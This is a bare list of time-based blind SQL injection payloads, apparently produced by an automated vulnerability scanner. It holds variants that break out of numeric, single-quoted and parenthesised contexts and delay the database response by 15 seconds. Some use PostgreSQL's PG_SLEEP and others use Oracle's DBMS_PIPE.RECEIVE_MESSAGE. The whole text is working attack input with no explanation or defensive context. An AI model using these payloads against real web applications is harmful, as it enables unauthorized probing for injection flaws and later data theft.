555-1 OR 730=(SELECT 730 FROM PG_SLEEP(15))--

555-1) OR 96=(SELECT 96 FROM PG_SLEEP(15))--

555-1)) OR 112=(SELECT 112 FROM PG_SLEEP(15))--

555FoaA4IjS' OR 167=(SELECT 167 FROM PG_SLEEP(15))--

555Tk0ayTcB') OR 476=(SELECT 476 FROM PG_SLEEP(15))--

555Vt7tOdqy')) OR 667=(SELECT 667 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)

555